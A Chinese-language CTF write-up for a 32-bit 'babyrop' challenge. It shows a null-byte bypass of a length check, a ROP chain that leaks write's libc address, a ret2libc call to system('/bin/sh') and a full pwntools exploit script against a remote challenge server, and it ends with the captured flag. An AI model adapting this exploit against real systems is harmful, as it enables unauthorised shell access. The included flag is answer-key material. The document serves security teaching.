checksec一下
开启了NX保护和RELRO
拖进IDA,在函数列表没有发现system函数,也没有找到/bin/sh字符串,所以需要考虑泄露
主函数首先调用了sub_80486BB函数,然后读取一个随机数保存在buf里,再调用sub_804871F和sub_80487D0函数
sub_80486BB是一些基础设定
sub_804871F函数将之前读取的随机数与用户输入的字符串进行长度比较,并返回v5
sub_80487D0函数中,根据传入的参数可以控制读入buf的长度
可以发现 只要控制a1的大小就可以任意控制读入buf的长度,而a1就是sub_804871F中的v5,所以可以构造合适的Payload来控制v5,再通过sub_80487D0中的read来泄露system与/bin/sh的地址
先使发送的Payload的首字符为\x00来绕过字符串长度比较,再构造合适的长度来改变v5的值
Payload = b'\x00' + b'a'*6 +'\xff'
这里使v5的值尽可能的大,方便后面操作
因为没有发现有system函数的存在,所以考虑泄露libc,这里选择泄露write函数的地址
leak = flat(cyclic(0xE7 + 4), elf.plt['write'], 0x8048825, 1, elf.got['write'], 4)
再构造rop
rop = flat(cyclic(0xE7 + 4), libc.sym['system'], 'aaaa', next(libc.search(b"/bin/sh")))
完整exploit如下
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 4 from pwn import * 5 import sys 6 context.binary = "./babyrop" 7 context.log_level = "debug" 8 elf = context.binary 9 10 if sys.argv[1] == 'l': 11 io = process("./babyrop") 12 libc = elf.libc 13 14 else: 15 io = remote("node3.buuoj.cn", 26799) 16 libc = ELF("./libc-2.23.so") 17 18 Payload = b'\x00' + b'aaaaaa' + b'\xff' 19 io.sendline(Payload) 20 io.recv() 21 leak = flat(cyclic(0xE7 + 4), elf.plt['write'], 0x8048825, 1, elf.got['write'], 4) 22 io.sendline(leak) 23 libc.address = u32(io.recv(4)) - libc.sym['write'] 24 success("libc -> {:#x}".format(libc.address)) 25 pause() 26 27 io.sendline(Payload) 28 rop = flat(cyclic(0xE7 + 4), libc.sym['system'], 'aaaa', next(libc.search(b"/bin/sh"))) 29 io.sendline(rop) 30 io.interactive()
运行后得到sh
在根目录下发现flag文件
flag{f5092977-8540-4334-9c89-5c635894775c}